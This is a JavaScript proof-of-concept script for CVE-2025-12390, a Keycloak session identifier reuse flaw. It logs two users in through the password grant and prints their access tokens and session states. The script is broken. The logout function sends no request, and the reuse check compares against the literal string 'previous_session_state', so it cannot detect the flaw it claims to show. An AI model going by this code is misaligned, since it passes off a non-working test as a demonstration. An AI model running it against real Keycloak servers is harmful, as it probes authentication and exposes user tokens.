// CVE-2025-12390 PoC - Keycloak Session Identifier Reuse
// This PoC demonstrates the session reuse vulnerability
const https = require('https');
// Configuration
const KEYCLOAK_URL = 'https://keycloak.example.com';
const REALM = 'test-realm';
// Step 1: First user authenticates
async function firstUserLogin(username, password) {
const loginData = {
grant_type: 'password',
client_id: 'admin-cli',
username: username,
password: password
};
const response = await makeRequest('/auth/realms/' + REALM + '/protocol/openid-connect/token', loginData);
console.log('First user session created');
console.log('Access Token:', response.access_token);
console.log('Session State:', response.session_state);
return {
accessToken: response.access_token,
sessionState: response.session_state,
sessionId: extractSessionId(response.access_token)
};
}
// Step 2: First user logs out (Cookie deleted on client side)
async function firstUserLogout(accessToken) {
// Logout request - server should invalidate session
console.log('First user logged out');
console.log('Note: Browser cookies are cleared');
// The vulnerability: session may not be properly invalidated
return true;
}
// Step 3: Second user authenticates on same browser
async function secondUserLogin(username, password) {
const loginData = {
grant_type: 'password',
client_id: 'admin-cli',
username: username,
password: password
};
const response = await makeRequest('/auth/realms/' + REALM + '/protocol/openid-connect/token', loginData);
console.log('Second user session created');
console.log('New Access Token:', response.access_token);
console.log('New Session State:', response.session_state);
// Vulnerability: session_state might be reused
if (response.session_state === 'previous_session_state') {
console.log('[VULNERABLE] Session state was reused!');
}
return {
accessToken: response.access_token,
sessionState: response.session_state
};
}
// Helper function to extract session ID from JWT
function extractSessionId(token) {
const payload = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString());
return payload.session_state;
}
// Helper function to make HTTP requests
function makeRequest(path, data) {
return new Promise((resolve, reject) => {
const postData = new URLSearchParams(data).toString();
const options = {
hostname: new URL(KEYCLOAK_URL).hostname,
port: 443,
path: path,
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': Buffer.byteLength(postData)
}
};
const req = https.request(options, (res) => {
let body = '';
res.on('data', (chunk) => body += chunk);
res.on('end', () => {
try {
resolve(JSON.parse(body));
} catch (e) {
reject(e);
}
});
});
req.on('error', reject);
req.write(postData);
req.end();
});
}
// Main execution
async function main() {
try {
console.log('=== CVE-2025-12390 PoC ===\n');
// Simulate the attack scenario
const firstSession = await firstUserLogin('user1', 'password1');
await firstUserLogout(firstSession.accessToken);
const secondSession = await secondUserLogin('user2', 'password2');
console.log('\n=== Attack Vector ===');
console.log('1. User1 authenticates and logs out (cookies cleared)');
console.log('2. User2 authenticates on same device/browser');
console.log('3. Due to session identifier reuse, User2 may receive tokens linked to User1');
console.log('\nRecommendation: Upgrade to patched Keycloak version');
} catch (error) {
console.error('Error:', error.message);
}
}
main();